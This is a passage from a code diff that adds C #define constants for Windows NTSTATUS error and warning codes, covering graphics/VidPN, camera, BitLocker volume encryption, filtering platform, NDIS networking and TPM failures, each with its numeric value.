STATUS_GRAPHICS_INVALID_VIDPN_TOPOLOGY -1071774976 +#define STATUS_GRAPHICS_VIDPN_TOPOLOGY_NOT_SUPPORTED -1071774975 +#define STATUS_GRAPHICS_VIDPN_TOPOLOGY_CURRENTLY_NOT_SUPPORTED -1071774974 +#define STATUS_GRAPHICS_INVALID_VIDPN -1071774973 +#define STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE -1071774972 +#define STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET -1071774971 +#define STATUS_GRAPHICS_VIDPN_MODALITY_NOT_SUPPORTED -1071774970 +#define STATUS_GRAPHICS_MODE_NOT_PINNED 1075708679 +#define STATUS_GRAPHICS_INVALID_VIDPN_SOURCEMODESET -1071774968 +#define STATUS_GRAPHICS_INVALID_VIDPN_TARGETMODESET -1071774967 +#define STATUS_GRAPHICS_INVALID_FREQUENCY -1071774966 +#define STATUS_GRAPHICS_INVALID_ACTIVE_REGION -1071774965 +#define STATUS_GRAPHICS_INVALID_TOTAL_REGION -1071774964 +#define STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE_MODE -1071774960 +#define STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET_MODE -1071774959 +#define STATUS_GRAPHICS_PINNED_MODE_MUST_REMAIN_IN_SET -1071774958 +#define STATUS_GRAPHICS_PATH_ALREADY_IN_TOPOLOGY -1071774957 +#define STATUS_GRAPHICS_MODE_ALREADY_IN_MODESET -1071774956 +#define STATUS_GRAPHICS_INVALID_VIDEOPRESENTSOURCESET -1071774955 +#define STATUS_GRAPHICS_INVALID_VIDEOPRESENTTARGETSET -1071774954 +#define STATUS_GRAPHICS_SOURCE_ALREADY_IN_SET -1071774953 +#define STATUS_GRAPHICS_TARGET_ALREADY_IN_SET -1071774952 +#define STATUS_GRAPHICS_INVALID_VIDPN_PRESENT_PATH -1071774951 +#define STATUS_GRAPHICS_NO_RECOMMENDED_VIDPN_TOPOLOGY -1071774950 +#define STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGESET -1071774949 +#define STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE -1071774948 +#define STATUS_GRAPHICS_FREQUENCYRANGE_NOT_IN_SET -1071774947 +#define STATUS_GRAPHICS_NO_PREFERRED_MODE 1075708702 +#define STATUS_GRAPHICS_FREQUENCYRANGE_ALREADY_IN_SET -1071774945 +#define STATUS_GRAPHICS_STALE_MODESET -1071774944 +#define STATUS_GRAPHICS_INVALID_MONITOR_SOURCEMODESET -1071774943 +#define STATUS_GRAPHICS_INVALID_MONITOR_SOURCE_MODE -1071774942 +#define STATUS_GRAPHICS_NO_RECOMMENDED_FUNCTIONAL_VIDPN -1071774941 +#define STATUS_GRAPHICS_MODE_ID_MUST_BE_UNIQUE -1071774940 +#define STATUS_GRAPHICS_EMPTY_ADAPTER_MONITOR_MODE_SUPPORT_INTERSECTION -1071774939 +#define STATUS_GRAPHICS_VIDEO_PRESENT_TARGETS_LESS_THAN_SOURCES -1071774938 +#define STATUS_GRAPHICS_PATH_NOT_IN_TOPOLOGY -1071774937 +#define STATUS_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_SOURCE -1071774936 +#define STATUS_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_TARGET -1071774935 +#define STATUS_GRAPHICS_INVALID_MONITORDESCRIPTORSET -1071774934 +#define STATUS_GRAPHICS_INVALID_MONITORDESCRIPTOR -1071774933 +#define STATUS_GRAPHICS_MONITORDESCRIPTOR_NOT_IN_SET -1071774932 +#define STATUS_GRAPHICS_MONITORDESCRIPTOR_ALREADY_IN_SET -1071774931 +#define STATUS_GRAPHICS_MONITORDESCRIPTOR_ID_MUST_BE_UNIQUE -1071774930 +#define STATUS_GRAPHICS_INVALID_VIDPN_TARGET_SUBSET_TYPE -1071774929 +#define STATUS_GRAPHICS_RESOURCES_NOT_RELATED -1071774928 +#define STATUS_GRAPHICS_SOURCE_ID_MUST_BE_UNIQUE -1071774927 +#define STATUS_GRAPHICS_TARGET_ID_MUST_BE_UNIQUE -1071774926 +#define STATUS_GRAPHICS_NO_AVAILABLE_VIDPN_TARGET -1071774925 +#define STATUS_GRAPHICS_MONITOR_COULD_NOT_BE_ASSOCIATED_WITH_ADAPTER -1071774924 +#define STATUS_GRAPHICS_NO_VIDPNMGR -1071774923 +#define STATUS_GRAPHICS_NO_ACTIVE_VIDPN -1071774922 +#define STATUS_GRAPHICS_STALE_VIDPN_TOPOLOGY -1071774921 +#define STATUS_GRAPHICS_MONITOR_NOT_CONNECTED -1071774920 +#define STATUS_GRAPHICS_SOURCE_NOT_IN_TOPOLOGY -1071774919 +#define STATUS_GRAPHICS_INVALID_PRIMARYSURFACE_SIZE -1071774918 +#define STATUS_GRAPHICS_INVALID_VISIBLEREGION_SIZE -1071774917 +#define STATUS_GRAPHICS_INVALID_STRIDE -1071774916 +#define STATUS_GRAPHICS_INVALID_PIXELFORMAT -1071774915 +#define STATUS_GRAPHICS_INVALID_COLORBASIS -1071774914 +#define STATUS_GRAPHICS_INVALID_PIXELVALUEACCESSMODE -1071774913 +#define STATUS_GRAPHICS_TARGET_NOT_IN_TOPOLOGY -1071774912 +#define STATUS_GRAPHICS_NO_DISPLAY_MODE_MANAGEMENT_SUPPORT -1071774911 +#define STATUS_GRAPHICS_VIDPN_SOURCE_IN_USE -1071774910 +#define STATUS_GRAPHICS_CANT_ACCESS_ACTIVE_VIDPN -1071774909 +#define STATUS_GRAPHICS_INVALID_PATH_IMPORTANCE_ORDINAL -1071774908 +#define STATUS_GRAPHICS_INVALID_PATH_CONTENT_GEOMETRY_TRANSFORMATION -1071774907 +#define STATUS_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_SUPPORTED -1071774906 +#define STATUS_GRAPHICS_INVALID_GAMMA_RAMP -1071774905 +#define STATUS_GRAPHICS_GAMMA_RAMP_NOT_SUPPORTED -1071774904 +#define STATUS_GRAPHICS_MULTISAMPLING_NOT_SUPPORTED -1071774903 +#define STATUS_GRAPHICS_MODE_NOT_IN_MODESET -1071774902 +#define STATUS_GRAPHICS_DATASET_IS_EMPTY 1075708747 +#define STATUS_GRAPHICS_NO_MORE_ELEMENTS_IN_DATASET 1075708748 +#define STATUS_GRAPHICS_INVALID_VIDPN_TOPOLOGY_RECOMMENDATION_REASON -1071774899 +#define STATUS_GRAPHICS_INVALID_PATH_CONTENT_TYPE -1071774898 +#define STATUS_GRAPHICS_INVALID_COPYPROTECTION_TYPE -1071774897 +#define STATUS_GRAPHICS_UNASSIGNED_MODESET_ALREADY_EXISTS -1071774896 +#define STATUS_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_PINNED 1075708753 +#define STATUS_GRAPHICS_INVALID_SCANLINE_ORDERING -1071774894 +#define STATUS_GRAPHICS_TOPOLOGY_CHANGES_NOT_ALLOWED -1071774893 +#define STATUS_GRAPHICS_NO_AVAILABLE_IMPORTANCE_ORDINALS -1071774892 +#define STATUS_GRAPHICS_INCOMPATIBLE_PRIVATE_FORMAT -1071774891 +#define STATUS_GRAPHICS_INVALID_MODE_PRUNING_ALGORITHM -1071774890 +#define STATUS_GRAPHICS_INVALID_MONITOR_CAPABILITY_ORIGIN -1071774889 +#define STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE_CONSTRAINT -1071774888 +#define STATUS_GRAPHICS_MAX_NUM_PATHS_REACHED -1071774887 +#define STATUS_GRAPHICS_CANCEL_VIDPN_TOPOLOGY_AUGMENTATION -1071774886 +#define STATUS_GRAPHICS_INVALID_CLIENT_TYPE -1071774885 +#define STATUS_GRAPHICS_CLIENTVIDPN_NOT_SET -1071774884 +#define STATUS_GRAPHICS_SPECIFIED_CHILD_ALREADY_CONNECTED -1071774720 +#define STATUS_GRAPHICS_CHILD_DESCRIPTOR_NOT_SUPPORTED -1071774719 +#define STATUS_GRAPHICS_UNKNOWN_CHILD_STATUS 1075708975 +#define STATUS_GRAPHICS_NOT_A_LINKED_ADAPTER -1071774672 +#define STATUS_GRAPHICS_LEADLINK_NOT_ENUMERATED -1071774671 +#define STATUS_GRAPHICS_CHAINLINKS_NOT_ENUMERATED -1071774670 +#define STATUS_GRAPHICS_ADAPTER_CHAIN_NOT_READY -1071774669 +#define STATUS_GRAPHICS_CHAINLINKS_NOT_STARTED -1071774668 +#define STATUS_GRAPHICS_CHAINLINKS_NOT_POWERED_ON -1071774667 +#define STATUS_GRAPHICS_INCONSISTENT_DEVICE_LINK_STATE -1071774666 +#define STATUS_GRAPHICS_LEADLINK_START_DEFERRED 1075708983 +#define STATUS_GRAPHICS_NOT_POST_DEVICE_DRIVER -1071774664 +#define STATUS_GRAPHICS_POLLING_TOO_FREQUENTLY 1075708985 +#define STATUS_GRAPHICS_START_DEFERRED 1075708986 +#define STATUS_GRAPHICS_ADAPTER_ACCESS_NOT_EXCLUDED -1071774661 +#define STATUS_GRAPHICS_DEPENDABLE_CHILD_STATUS 1075708988 +#define STATUS_GRAPHICS_OPM_NOT_SUPPORTED -1071774464 +#define STATUS_GRAPHICS_COPP_NOT_SUPPORTED -1071774463 +#define STATUS_GRAPHICS_UAB_NOT_SUPPORTED -1071774462 +#define STATUS_GRAPHICS_OPM_INVALID_ENCRYPTED_PARAMETERS -1071774461 +#define STATUS_GRAPHICS_OPM_NO_PROTECTED_OUTPUTS_EXIST -1071774459 +#define STATUS_GRAPHICS_OPM_INTERNAL_ERROR -1071774453 +#define STATUS_GRAPHICS_OPM_INVALID_HANDLE -1071774452 +#define STATUS_GRAPHICS_PVP_INVALID_CERTIFICATE_LENGTH -1071774450 +#define STATUS_GRAPHICS_OPM_SPANNING_MODE_ENABLED -1071774449 +#define STATUS_GRAPHICS_OPM_THEATER_MODE_ENABLED -1071774448 +#define STATUS_GRAPHICS_PVP_HFS_FAILED -1071774447 +#define STATUS_GRAPHICS_OPM_INVALID_SRM -1071774446 +#define STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_HDCP -1071774445 +#define STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_ACP -1071774444 +#define STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_CGMSA -1071774443 +#define STATUS_GRAPHICS_OPM_HDCP_SRM_NEVER_SET -1071774442 +#define STATUS_GRAPHICS_OPM_RESOLUTION_TOO_HIGH -1071774441 +#define STATUS_GRAPHICS_OPM_ALL_HDCP_HARDWARE_ALREADY_IN_USE -1071774440 +#define STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_NO_LONGER_EXISTS -1071774438 +#define STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_DOES_NOT_HAVE_COPP_SEMANTICS -1071774436 +#define STATUS_GRAPHICS_OPM_INVALID_INFORMATION_REQUEST -1071774435 +#define STATUS_GRAPHICS_OPM_DRIVER_INTERNAL_ERROR -1071774434 +#define STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_DOES_NOT_HAVE_OPM_SEMANTICS -1071774433 +#define STATUS_GRAPHICS_OPM_SIGNALING_NOT_SUPPORTED -1071774432 +#define STATUS_GRAPHICS_OPM_INVALID_CONFIGURATION_REQUEST -1071774431 +#define STATUS_GRAPHICS_I2C_NOT_SUPPORTED -1071774336 +#define STATUS_GRAPHICS_I2C_DEVICE_DOES_NOT_EXIST -1071774335 +#define STATUS_GRAPHICS_I2C_ERROR_TRANSMITTING_DATA -1071774334 +#define STATUS_GRAPHICS_I2C_ERROR_RECEIVING_DATA -1071774333 +#define STATUS_GRAPHICS_DDCCI_VCP_NOT_SUPPORTED -1071774332 +#define STATUS_GRAPHICS_DDCCI_INVALID_DATA -1071774331 +#define STATUS_GRAPHICS_DDCCI_MONITOR_RETURNED_INVALID_TIMING_STATUS_BYTE -1071774330 +#define STATUS_GRAPHICS_DDCCI_INVALID_CAPABILITIES_STRING -1071774329 +#define STATUS_GRAPHICS_MCA_INTERNAL_ERROR -1071774328 +#define STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_COMMAND -1071774327 +#define STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_LENGTH -1071774326 +#define STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_CHECKSUM -1071774325 +#define STATUS_GRAPHICS_INVALID_PHYSICAL_MONITOR_HANDLE -1071774324 +#define STATUS_GRAPHICS_MONITOR_NO_LONGER_EXISTS -1071774323 +#define STATUS_GRAPHICS_ONLY_CONSOLE_SESSION_SUPPORTED -1071774240 +#define STATUS_GRAPHICS_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME -1071774239 +#define STATUS_GRAPHICS_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP -1071774238 +#define STATUS_GRAPHICS_MIRRORING_DEVICES_NOT_SUPPORTED -1071774237 +#define STATUS_GRAPHICS_INVALID_POINTER -1071774236 +#define STATUS_GRAPHICS_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE -1071774235 +#define STATUS_GRAPHICS_PARAMETER_ARRAY_TOO_SMALL -1071774234 +#define STATUS_GRAPHICS_INTERNAL_ERROR -1071774233 +#define STATUS_GRAPHICS_SESSION_TYPE_CHANGE_IN_PROGRESS -1071774232 +#define STATUS_GRAPHICS_UNKNOWN_BIOS_FRAME_BUFFER_NOT_FOUND -1071774208 +#define STATUS_GRAPHICS_UEFI_FRAME_BUFFER_NOT_FOUND -1071774207 +#define STATUS_CAMERA_INVALID_CONFIGURATION -1071710208 +#define STATUS_CAMERA_INSUFFICIENT_BANDWIDTH -1071710207 +#define STATUS_FVE_LOCKED_VOLUME -1071579136 +#define STATUS_FVE_NOT_ENCRYPTED -1071579135 +#define STATUS_FVE_BAD_INFORMATION -1071579134 +#define STATUS_FVE_TOO_SMALL -1071579133 +#define STATUS_FVE_FAILED_WRONG_FS -1071579132 +#define STATUS_FVE_BAD_PARTITION_SIZE -1071579131 +#define STATUS_FVE_FS_NOT_EXTENDED -1071579130 +#define STATUS_FVE_FS_MOUNTED -1071579129 +#define STATUS_FVE_NO_LICENSE -1071579128 +#define STATUS_FVE_ACTION_NOT_ALLOWED -1071579127 +#define STATUS_FVE_BAD_DATA -1071579126 +#define STATUS_FVE_VOLUME_NOT_BOUND -1071579125 +#define STATUS_FVE_NOT_DATA_VOLUME -1071579124 +#define STATUS_FVE_CONV_READ_ERROR -1071579123 +#define STATUS_FVE_CONV_WRITE_ERROR -1071579122 +#define STATUS_FVE_OVERLAPPED_UPDATE -1071579121 +#define STATUS_FVE_FAILED_SECTOR_SIZE -1071579120 +#define STATUS_FVE_FAILED_AUTHENTICATION -1071579119 +#define STATUS_FVE_NOT_OS_VOLUME -1071579118 +#define STATUS_FVE_KEYFILE_NOT_FOUND -1071579117 +#define STATUS_FVE_KEYFILE_INVALID -1071579116 +#define STATUS_FVE_KEYFILE_NO_VMK -1071579115 +#define STATUS_FVE_TPM_DISABLED -1071579114 +#define STATUS_FVE_TPM_SRK_AUTH_NOT_ZERO -1071579113 +#define STATUS_FVE_TPM_INVALID_PCR -1071579112 +#define STATUS_FVE_TPM_NO_VMK -1071579111 +#define STATUS_FVE_PIN_INVALID -1071579110 +#define STATUS_FVE_AUTH_INVALID_APPLICATION -1071579109 +#define STATUS_FVE_AUTH_INVALID_CONFIG -1071579108 +#define STATUS_FVE_DEBUGGER_ENABLED -1071579107 +#define STATUS_FVE_DRY_RUN_FAILED -1071579106 +#define STATUS_FVE_BAD_METADATA_POINTER -1071579105 +#define STATUS_FVE_OLD_METADATA_COPY -1071579104 +#define STATUS_FVE_REBOOT_REQUIRED -1071579103 +#define STATUS_FVE_RAW_ACCESS -1071579102 +#define STATUS_FVE_RAW_BLOCKED -1071579101 +#define STATUS_FVE_NO_AUTOUNLOCK_MASTER_KEY -1071579100 +#define STATUS_FVE_MOR_FAILED -1071579099 +#define STATUS_FVE_NO_FEATURE_LICENSE -1071579098 +#define STATUS_FVE_POLICY_USER_DISABLE_RDV_NOT_ALLOWED -1071579097 +#define STATUS_FVE_CONV_RECOVERY_FAILED -1071579096 +#define STATUS_FVE_VIRTUALIZED_SPACE_TOO_BIG -1071579095 +#define STATUS_FVE_INVALID_DATUM_TYPE -1071579094 +#define STATUS_FVE_VOLUME_TOO_SMALL -1071579088 +#define STATUS_FVE_ENH_PIN_INVALID -1071579087 +#define STATUS_FVE_FULL_ENCRYPTION_NOT_ALLOWED_ON_TP_STORAGE -1071579086 +#define STATUS_FVE_WIPE_NOT_ALLOWED_ON_TP_STORAGE -1071579085 +#define STATUS_FVE_NOT_ALLOWED_ON_CSV_STACK -1071579084 +#define STATUS_FVE_NOT_ALLOWED_ON_CLUSTER -1071579083 +#define STATUS_FVE_NOT_ALLOWED_TO_UPGRADE_WHILE_CONVERTING -1071579082 +#define STATUS_FVE_WIPE_CANCEL_NOT_APPLICABLE -1071579081 +#define STATUS_FVE_EDRIVE_DRY_RUN_FAILED -1071579080 +#define STATUS_FVE_SECUREBOOT_DISABLED -1071579079 +#define STATUS_FVE_SECUREBOOT_CONFIG_CHANGE -1071579078 +#define STATUS_FVE_DEVICE_LOCKEDOUT -1071579077 +#define STATUS_FVE_VOLUME_EXTEND_PREVENTS_EOW_DECRYPT -1071579076 +#define STATUS_FVE_NOT_DE_VOLUME -1071579075 +#define STATUS_FVE_PROTECTION_DISABLED -1071579074 +#define STATUS_FVE_PROTECTION_CANNOT_BE_DISABLED -1071579073 +#define STATUS_FVE_OSV_KSR_NOT_ALLOWED -1071579072 +#define STATUS_FVE_EDRIVE_BAND_ENUMERATION_FAILED -1071579071 +#define STATUS_FVE_POLICY_ON_RDV_EXCLUSION_LIST -1071579070 +#define STATUS_FVE_DATASET_FULL -1071579069 +#define STATUS_FVE_METADATA_FULL -1071579068 +#define STATUS_FVE_SUSPEND_PROTECTION_NOT_ALLOWED -1071579067 +#define STATUS_FVE_DATUM_PARTIALLY_INVALID -1071579066 +#define STATUS_FVE_DATASET_TPM_DATUMS_INCONSISTENT -1071579065 +#define STATUS_FVE_SECURE_BOOT_BINDINGS_OUT_OF_SYNC -1071579064 +#define STATUS_FVE_SECURE_BOOT_BINDING_DATA_OUT_OF_SYNC -1071579063 +#define STATUS_FVE_ORPHANED_TPM_BINDING_DATUM -1071579062 +#define STATUS_FVE_BAD_TPM_DATUM_ASSOCIATION -1071579061 +#define STATUS_FVE_FINAL_TPM_PCR_VALUES_MATCH -1071579060 +#define STATUS_FVE_MATCHING_PCRS_TPM_FAILURE -1071579059 +#define STATUS_FVE_GENERAL_TPM_FAILURE -1071579058 +#define STATUS_FVE_TPM_NONEXISTENT -1071579057 +#define STATUS_FVE_NO_PCR_BOOT_LOCK_BOUNDARY -1071579056 +#define STATUS_FVE_PCR_BOOT_LOCK_BOUNDARY -1071579055 +#define STATUS_FVE_FW_UPDATE_TPM_BINDINGS_NOT_REFRESHED -1071579054 +#define STATUS_FVE_INVALID_TPM_BINDING_CONFIGURATION -1071579053 +#define STATUS_FVE_TOO_MANY_TPM_BINDINGS -1071579052 +#define STATUS_FVE_TPM_BINDING_ASSOCIATION_FAILURE -1071579051 +#define STATUS_FVE_ORPHANED_PCR_DIGEST_DATUM -1071579050 +#define STATUS_FVE_HW_ACCELERATED_ENCRYPTION_NOT_ALLOWED -1071579049 +#define STATUS_FVE_NO_MATCHING_TPM_BINDINGS -1071579048 +#define STATUS_FVE_TPMPV2_USED_FAILURE -1071579047 +#define STATUS_FVE_NO_TPM_BINDINGS -1071579046 +#define STATUS_FVE_FW_UPDATE_PCRS_BLOCK -1071579044 +#define STATUS_FVE_FW_UPDATE_PCRS_NOT_EXCLUDED -1071579043 +#define STATUS_FVE_FAILED_TO_UNWRAP_HW_WRAPPED_KEY -1071579042 +#define STATUS_FVE_HARDWARE_CRYPTO_ACCELERATOR_NOT_FIPS_COMPLIANT -1071579041 +#define STATUS_FVE_HARDWARE_CRYPTO_KEY_MANAGER_NOT_FIPS_COMPLIANT -1071579040 +#define STATUS_FVE_TPM_PCRS_DO_NOT_MATCH_LOG -1071579039 +#define STATUS_FWP_CALLOUT_NOT_FOUND -1071513599 +#define STATUS_FWP_CONDITION_NOT_FOUND -1071513598 +#define STATUS_FWP_FILTER_NOT_FOUND -1071513597 +#define STATUS_FWP_LAYER_NOT_FOUND -1071513596 +#define STATUS_FWP_PROVIDER_NOT_FOUND -1071513595 +#define STATUS_FWP_PROVIDER_CONTEXT_NOT_FOUND -1071513594 +#define STATUS_FWP_SUBLAYER_NOT_FOUND -1071513593 +#define STATUS_FWP_NOT_FOUND -1071513592 +#define STATUS_FWP_ALREADY_EXISTS -1071513591 +#define STATUS_FWP_IN_USE -1071513590 +#define STATUS_FWP_DYNAMIC_SESSION_IN_PROGRESS -1071513589 +#define STATUS_FWP_WRONG_SESSION -1071513588 +#define STATUS_FWP_NO_TXN_IN_PROGRESS -1071513587 +#define STATUS_FWP_TXN_IN_PROGRESS -1071513586 +#define STATUS_FWP_TXN_ABORTED -1071513585 +#define STATUS_FWP_SESSION_ABORTED -1071513584 +#define STATUS_FWP_INCOMPATIBLE_TXN -1071513583 +#define STATUS_FWP_TIMEOUT -1071513582 +#define STATUS_FWP_NET_EVENTS_DISABLED -1071513581 +#define STATUS_FWP_INCOMPATIBLE_LAYER -1071513580 +#define STATUS_FWP_KM_CLIENTS_ONLY -1071513579 +#define STATUS_FWP_LIFETIME_MISMATCH -1071513578 +#define STATUS_FWP_BUILTIN_OBJECT -1071513577 +#define STATUS_FWP_TOO_MANY_CALLOUTS -1071513576 +#define STATUS_FWP_NOTIFICATION_DROPPED -1071513575 +#define STATUS_FWP_TRAFFIC_MISMATCH -1071513574 +#define STATUS_FWP_INCOMPATIBLE_SA_STATE -1071513573 +#define STATUS_FWP_NULL_POINTER -1071513572 +#define STATUS_FWP_INVALID_ENUMERATOR -1071513571 +#define STATUS_FWP_INVALID_FLAGS -1071513570 +#define STATUS_FWP_INVALID_NET_MASK -1071513569 +#define STATUS_FWP_INVALID_RANGE -1071513568 +#define STATUS_FWP_INVALID_INTERVAL -1071513567 +#define STATUS_FWP_ZERO_LENGTH_ARRAY -1071513566 +#define STATUS_FWP_NULL_DISPLAY_NAME -1071513565 +#define STATUS_FWP_INVALID_ACTION_TYPE -1071513564 +#define STATUS_FWP_INVALID_WEIGHT -1071513563 +#define STATUS_FWP_MATCH_TYPE_MISMATCH -1071513562 +#define STATUS_FWP_TYPE_MISMATCH -1071513561 +#define STATUS_FWP_OUT_OF_BOUNDS -1071513560 +#define STATUS_FWP_RESERVED -1071513559 +#define STATUS_FWP_DUPLICATE_CONDITION -1071513558 +#define STATUS_FWP_DUPLICATE_KEYMOD -1071513557 +#define STATUS_FWP_ACTION_INCOMPATIBLE_WITH_LAYER -1071513556 +#define STATUS_FWP_ACTION_INCOMPATIBLE_WITH_SUBLAYER -1071513555 +#define STATUS_FWP_CONTEXT_INCOMPATIBLE_WITH_LAYER -1071513554 +#define STATUS_FWP_CONTEXT_INCOMPATIBLE_WITH_CALLOUT -1071513553 +#define STATUS_FWP_INCOMPATIBLE_AUTH_METHOD -1071513552 +#define STATUS_FWP_INCOMPATIBLE_DH_GROUP -1071513551 +#define STATUS_FWP_EM_NOT_SUPPORTED -1071513550 +#define STATUS_FWP_NEVER_MATCH -1071513549 +#define STATUS_FWP_PROVIDER_CONTEXT_MISMATCH -1071513548 +#define STATUS_FWP_INVALID_PARAMETER -1071513547 +#define STATUS_FWP_TOO_MANY_SUBLAYERS -1071513546 +#define STATUS_FWP_CALLOUT_NOTIFICATION_FAILED -1071513545 +#define STATUS_FWP_INVALID_AUTH_TRANSFORM -1071513544 +#define STATUS_FWP_INVALID_CIPHER_TRANSFORM -1071513543 +#define STATUS_FWP_INCOMPATIBLE_CIPHER_TRANSFORM -1071513542 +#define STATUS_FWP_INVALID_TRANSFORM_COMBINATION -1071513541 +#define STATUS_FWP_DUPLICATE_AUTH_METHOD -1071513540 +#define STATUS_FWP_INVALID_TUNNEL_ENDPOINT -1071513539 +#define STATUS_FWP_L2_DRIVER_NOT_READY -1071513538 +#define STATUS_FWP_KEY_DICTATOR_ALREADY_REGISTERED -1071513537 +#define STATUS_FWP_KEY_DICTATION_INVALID_KEYING_MATERIAL -1071513536 +#define STATUS_FWP_CONNECTIONS_DISABLED -1071513535 +#define STATUS_FWP_INVALID_DNS_NAME -1071513534 +#define STATUS_FWP_STILL_ON -1071513533 +#define STATUS_FWP_IKEEXT_NOT_RUNNING -1071513532 +#define STATUS_FWP_TCPIP_NOT_READY -1071513344 +#define STATUS_FWP_INJECT_HANDLE_CLOSING -1071513343 +#define STATUS_FWP_INJECT_HANDLE_STALE -1071513342 +#define STATUS_FWP_CANNOT_PEND -1071513341 +#define STATUS_FWP_DROP_NOICMP -1071513340 +#define STATUS_NDIS_CLOSING -1071448062 +#define STATUS_NDIS_BAD_VERSION -1071448060 +#define STATUS_NDIS_BAD_CHARACTERISTICS -1071448059 +#define STATUS_NDIS_ADAPTER_NOT_FOUND -1071448058 +#define STATUS_NDIS_OPEN_FAILED -1071448057 +#define STATUS_NDIS_DEVICE_FAILED -1071448056 +#define STATUS_NDIS_MULTICAST_FULL -1071448055 +#define STATUS_NDIS_MULTICAST_EXISTS -1071448054 +#define STATUS_NDIS_MULTICAST_NOT_FOUND -1071448053 +#define STATUS_NDIS_REQUEST_ABORTED -1071448052 +#define STATUS_NDIS_RESET_IN_PROGRESS -1071448051 +#define STATUS_NDIS_NOT_SUPPORTED -1071447877 +#define STATUS_NDIS_INVALID_PACKET -1071448049 +#define STATUS_NDIS_ADAPTER_NOT_READY -1071448047 +#define STATUS_NDIS_INVALID_LENGTH -1071448044 +#define STATUS_NDIS_INVALID_DATA -1071448043 +#define STATUS_NDIS_BUFFER_TOO_SHORT -1071448042 +#define STATUS_NDIS_INVALID_OID -1071448041 +#define STATUS_NDIS_ADAPTER_REMOVED -1071448040 +#define STATUS_NDIS_UNSUPPORTED_MEDIA -1071448039 +#define STATUS_NDIS_GROUP_ADDRESS_IN_USE -1071448038 +#define STATUS_NDIS_FILE_NOT_FOUND -1071448037 +#define STATUS_NDIS_ERROR_READING_FILE -1071448036 +#define STATUS_NDIS_ALREADY_MAPPED -1071448035 +#define STATUS_NDIS_RESOURCE_CONFLICT -1071448034 +#define STATUS_NDIS_MEDIA_DISCONNECTED -1071448033 +#define STATUS_NDIS_INVALID_ADDRESS -1071448030 +#define STATUS_NDIS_INVALID_DEVICE_REQUEST -1071448048 +#define STATUS_NDIS_PAUSED -1071448022 +#define STATUS_NDIS_INTERFACE_NOT_FOUND -1071448021 +#define STATUS_NDIS_UNSUPPORTED_REVISION -1071448020 +#define STATUS_NDIS_INVALID_PORT -1071448019 +#define STATUS_NDIS_INVALID_PORT_STATE -1071448018 +#define STATUS_NDIS_LOW_POWER_STATE -1071448017 +#define STATUS_NDIS_REINIT_REQUIRED -1071448016 +#define STATUS_NDIS_NO_QUEUES -1071448015 +#define STATUS_NDIS_DOT11_AUTO_CONFIG_ENABLED -1071439872 +#define STATUS_NDIS_DOT11_MEDIA_IN_USE -1071439871 +#define STATUS_NDIS_DOT11_POWER_STATE_INVALID -1071439870 +#define STATUS_NDIS_PM_WOL_PATTERN_LIST_FULL -1071439869 +#define STATUS_NDIS_PM_PROTOCOL_OFFLOAD_LIST_FULL -1071439868 +#define STATUS_NDIS_DOT11_AP_CHANNEL_CURRENTLY_NOT_AVAILABLE -1071439867 +#define STATUS_NDIS_DOT11_AP_BAND_CURRENTLY_NOT_AVAILABLE -1071439866 +#define STATUS_NDIS_DOT11_AP_CHANNEL_NOT_ALLOWED -1071439865 +#define STATUS_NDIS_DOT11_AP_BAND_NOT_ALLOWED -1071439864 +#define STATUS_NDIS_DOT11_AP_RADIO_RESTRICTION -1071439863 +#define STATUS_NDIS_INDICATION_REQUIRED 1076035585 +#define STATUS_NDIS_OFFLOAD_POLICY -1071443953 +#define STATUS_NDIS_OFFLOAD_CONNECTION_REJECTED -1071443950 +#define STATUS_NDIS_OFFLOAD_PATH_REJECTED -1071443949 +#define STATUS_TPM_ERROR_MASK -1071054848 +#define STATUS_TPM_AUTHFAIL -1071054847 +#define STATUS_TPM_BADINDEX -1071054846 +#define STATUS_TPM_BAD_PARAMETER -1071054845 +#define STATUS_TPM_AUDITFAILURE -1071054844 +#define STATUS_TPM_CLEAR_DISABLED -1071054843 +#define STATUS_TPM_DEACTIVATED -1071054842 +#define STATUS_TPM_DISABLED -1071054841 +#define STATUS_TPM_DISABLED_CMD -1071054840 +#define STATUS_TPM_FAIL -1071054839 +#define STATUS_TPM_BAD_ORDINAL -1071054838 +#define STATUS_TPM_INSTALL_DISABLED -1071054837 +#define STATUS_TPM_INVALID_KEYHANDLE -1071054836 +#define STATUS_TPM_KEYNOTFOUND -1071054835 +#define STATUS_TPM_INAPPROPRIATE_ENC -1071054834 +#define STATUS_TPM_MIGRATEFAIL -1071054833 +#define STATUS_TPM_INVALID_PCR_INFO -1071054832 +#define STATUS_TPM_NOSPACE -1071054831 +#define STATUS_TPM_NOSRK -1071054830 +#define STATUS_TPM_NOTSEALED_BLOB -1071054829 +#define STATUS_TPM_OWNER_SET -1071054828 +#define STATUS_TPM_RESOURCES -1071054827 +#define STATUS_TPM_SHORTRANDOM -1071054826 +#define STATUS_TPM_SIZE -1071054825 +#define STATUS_TPM_WRONGPCRVAL -1071054824 +#define STATUS_TPM_BAD_PARAM_SIZE -1071054823 +#define STATUS_TPM_SHA_THREAD -1071054822 +#define STATUS_TPM_SHA_ERROR -1071054821 +#define STATUS_TPM_FAILEDSELFTEST -1071054820 +#define STATUS_TPM_AUTH2FAIL -1071054819 +#define STATUS_TPM_BADTAG -1071054818 